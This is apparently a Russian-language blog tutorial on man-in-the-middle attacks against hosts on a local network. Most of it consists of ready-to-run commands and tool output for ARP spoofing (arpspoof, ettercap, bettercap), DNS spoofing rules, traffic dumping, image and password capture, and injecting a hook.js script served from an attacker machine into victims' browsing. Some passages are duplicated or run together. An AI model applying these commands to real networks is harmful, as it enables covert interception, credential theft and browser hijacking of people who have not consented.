Используемая в примерах ОС - Ubuntu 14.04. Значительная часть приведённых операций требует прав суперпользователя и утилиты об этом так или иначе сообщают, если им не хватает полномочий. Будем считать, что все команды выполняются от имени суперпользователя.
ARP poisoning (spoofing)
Address Resolution Protocol - протокол определения адреса. С помощью этого протокола можно определить MAC адрес по известному IP.
Если IP forwarding выключен, то перехваченный трафик никуда дальше хоста атакующего не пойдёт.
При использовании sudo, не всегда удаётся произвести изменения в этом файле. Решение:echo 1 > /proc/sys/net/ipv4/ip_forward
echo "1" | sudo tee /proc/sys/net/ipv4/ip_forward
2. Произвести ARP-spoofing. Инструменты.
Рассмотрим два инструмента arpspoof и ettercap, которые позволяют провести ARP-spoofing.
dsniff
Использовать утилиту arpspoof из пакета dsniff, указав перенаправлять пакеты с целевого хоста (-t) через машину атакующего на хост 192.168.1.1, что указан последним параметром и наоборот (-r).arpspoof -i wlan0 -t 192.168.1.36 -r 192.168.1.1где 192.168.1.1 - роутер, через который проходит трафик из/во внешнюю сеть, 192.168.1.36 - атакуемый хост, машина, в подсети роутера.
Вывод:
99:99:99:99:99:99 11:11:11:11:11:11 0806 42: arp reply 192.168.1.36 is-at 99:99:99:99:99:99
99:99:99:99:99:99 33:33:33:33:33:33 0806 42: arp reply 192.168.1.1 is-at 99:99:99:99:99:99
<...>
Таким образом, программа сообщает роутеру (IP 192.168.1.1, MAC 11:11:11:11:11:11), что атакуемый хост (IP 192.168.1.36 и MAC 33:33:33:33:33:33), якобы имеет MAC 99:99:99:99:99:99, что на самом деле является адресом атакующего. Аналогично, вводится в заблуждение и хост атакуемого (вторая строчка вывода программы). Теперь весь трафик между роутером и жертвой будет проходить через компьютер атакующего.
Не всегда есть необходимость перехватывать трафик в обоих направлениях. Если целью атаки является перехват паролей, то достаточно перехватить трафик от жертву к шлюзу.
ettercap
Используем ettercap в текстовом режиме (-T), без вывода содержимого пакетов (-q) на интерфейсе (-i) wlan0. Ключ -M с параметром arp:remote говорит о проведении arp spoofing атаки. Последними параметрами, заключенные в двойные слеши, указаны хосты, между которыми нужно перехватить трафик.
ettercap -Tq -i wlan0 -M arp:remote //192.168.1.1// /192.168.1.36//
ettercap 0.8.0 copyright 2001-2013 Ettercap Development TeamКлавиши интерактивного управления ettercap:
Listening on:
wlan0 -> 99:99:99:99:99:99
192.168.1.34/255.255.255.0
fe80::1af4:6aff:fe40:66f2/64
Privileges dropped to UID 0 GID 0...
33 plugins
42 protocol dissectors
57 ports monitored
16074 mac vendor fingerprint
1766 tcp OS fingerprint
2182 known services
Scanning for merged targets (2 hosts)...
* |==================================================>| 100.00 %
2 hosts added to the hosts list...
ARP poisoning victims:
GROUP 1 : 192.168.1.1 11:11:11:11:11:11
GROUP 2 : 192.168.1.36 33:33:33:33:33:33
Starting Unified sniffing...
[vV] - change the visualization mode
[pP] - activate a plugin
[fF] - (de)activate a filter
[lL] - print the hosts list
[oO] - print the profiles list
[cC] - print the connections list
[sS] - print interfaces statistics
[<space>] - stop/cont printing packets
[qQ] - quit
bettercap
Многофункциональный инструмент для проведения MitM атак написанный на Ruby. Помимо проведения ARP спуфинга, имеет в своём арсенале сниффер (HTTP, FTP, ...), HTTP(S) прокси сервер, HTTP сервер.
Перед использованием необходимо установить пакеты
затем установить bettercap непосредственноsudo apt-get install build-essential ruby-dev libpcap-dev
Самый простой сценарий использования, arp-spoofing:gem install bettercap
bettercap -T 192.168.1.10, 192.168.1.11
Утилита автоматический определяет шлюз (getway), так что в параметрах остаётся указать только адреса хостов в подсети.
Конечно же можно сохранять трафик:
bettercap -T 192.168.2.37 --sniffer-output bettercap_out.capЗапустить в режиме HTTP сниффера с логгированием в файл http-headers.log
bettercap -T 192.168.2.37 --sniffer-filter "tcp port http" --log http-headers.log
Все http заголовки по умолчанию выводятся в реальном времени на экран. Ключ --silent призван отключить этот вывод.Что использовать в Windows?
Cain&Abel - arp-spoofing
Interceptor NG - arp-spoofing
Какие возможности даёт ARP-spoofing?
DNS spoofing
Рассмотрим DNS spoofing, направлений против хоста, совершающегo запрос к DNS серверу. Предварительно выполнив ARP-spoofing, будем перехватывать ответы DNS сервера если они будут соответствовать нашим правилам замены, то заменять. Используем ettercаp.1. Отредактировать правила перенаправления в файле:
/etc/ettercap/etter.dns
-P dns_spoof - использовать плагин dns_spoof:
Например перенаправлять запросы к google.com на локальный адрес 192.168.1.34.
google.com A 192.168.1.342. Запустить ettercap для выполнения подмены ответов DNS сервера:
*.google.com A 192.168.1.34
www.google.com PTR 192.168.1.34
-P dns_spoof - использовать плагин dns_spoof:
ettercap -Tq -i wlan0 -P dns_spoof -M arp:remote //192.168.1.1// //192.168.1.44//
Активировать плагин dns_spoof можно и после того как ettercap был запущен. Как это сделать подскажет меню ettercap, которое можно увидеть нажав клавишу h во время работы программы.
Если с машины попытаться зайти на google.com то вывод будет таким:
Если с машины попытаться зайти на google.com то вывод будет таким:
<...>
Activating dns_spoof plugin...
dns_spoof: [google.com] spoofed to [192.168.1.34]
Ответы на запрос google.com, заменяются в соответствии с правилами, в то время как остальные приходят без изменения.
192.168.1.1 - роутер, 192.168.1.44 - хост, на который производится атака, 192.168.1.34 - IP google.com после спуфинга.
Данный вид атаки может применяться для перенаправленияатакуемого на страницу с вредоносным кодом (Metasploit Browser Autopwn ), для дальнейшего проникновения.
bettercap
Похожим образом работает bettercap, целевой IP адрес (-T <ip>) - не обязательный параметр:
bettercap
Похожим образом работает bettercap, целевой IP адрес (-T <ip>) - не обязательный параметр:
bettercap --dns dns.conf
Содержимое файла, в котором описаны правила замены описывается в виде регулярных выражений. Например
192.168.1.2 .* # заменит любой адрес на 192.168.1.2
Traffic dumping
Сохранить на диск перехваченный трафик можно с помошью гуёвого wireshark, консольных tshark и tcpdump, etc.
tcpdump -i интерфейс -w файл-для-записи
tcpdump -i wlan0 -w dump.pcap
Для записи только перехваченного трафика нужно использовать фильтр по IP (при необходимости добавить порт port <post>):
src и dst ипользуются и чтобы указать порт-источник и порт-получатель, для сложного фильтра используются логические операторы or, and и not (||, && и !). more about tcpdump
tcpdump -i wlan0 -w dump.pcap host 192.168.1.36 and port 80src <IP>, dst <IP>, host <IP> - фильтровать по IP отправителя пакета, получателя, или получатели или отправитель соответственно.
src и dst ипользуются и чтобы указать порт-источник и порт-получатель, для сложного фильтра используются логические операторы or, and и not (||, && и !). more about tcpdump
Перехват изображений. driftnet
Программа извлекает изображения (JPEG, GIF) из трафика, а также потоковое аудио.
По умолчанию показывает пойманные изображения по мере их перехвата в отдельном окне, необходимо указать интерфейс (-i) или файл с дампом трафика -f.
driftnet -i wlan0
Сохранить изображение можно по клику.
Записывать изображения (-a) на диск (-d path):
driftnet -i wlan0 -a -d images/
Перехват HTTP заголовков. urlsnarf
Перехватывает и выводит HTTP запросы в Common Log Format.
Перехват логинов и паролей. ettercap
Программа автоматически выводит перехваченные логины и пароли:HTTP : 147.144.1.3:80 -> USER: Qqqqqqqqq PASS: 11111qeejdjdjdjejejsjsj INFO: http://fog.ccsf.edu/~sbowne/login1.html
CONTENT: username=Qqqqqqqqq&password=11111qeejdjdjdjejejsjsj
Перехват паролей возможен только для протокола http. Кроме того, браузер на машине атакуемого, может предупредить (или вообще заблокировать страницу) о невозможности проверить достоверность соединения, если используется протокол https. Забить тревогу могут и остальные программы использующие SSL, например почтовый клиент.
SSL strip
Инъекция JavaScript
Bettercap позволяет внедрять JS используя модуль прокси-сервера [bettecrap blog].
Инъекция для всех устройств в подсети
bettercap --proxy-module injectjs --js-url "http://192.168.1.3:3000/hook.js"
только конкретный IP (192.168.1.170):
bettercap -T --proxy-module injectjs --js-url "http://192.168.1.3:3000/hook.js"
***
Фреймворк MITMf содержит уже готовый js кейлоггер. см. MITMf
- Изменение\подмена загружаемый файлов. Например внедрение кода в exe файлы см. MITMf
Сниффер Intercepter-NG научился подменять файлы в HTTP-трафике
Ссылки
http://xgu.ru/wiki/ARP-spoofing - достаточно объёмная статья, где значительное внимание уделяется способам защиты от arp-spoofing.
Как легко расшифровать TLS-трафик от [своего] браузера в Wireshark
[краткий обзор утилит для MitM]
Инструкция по использованию Bettercap
youtube Проведение MitM атак с фреймворком MITMf
Как легко расшифровать TLS-трафик от [своего] браузера в Wireshark
[краткий обзор утилит для MitM]
Инструкция по использованию Bettercap
youtube Проведение MitM атак с фреймворком MITMf
Комментариев нет:
Отправить комментарий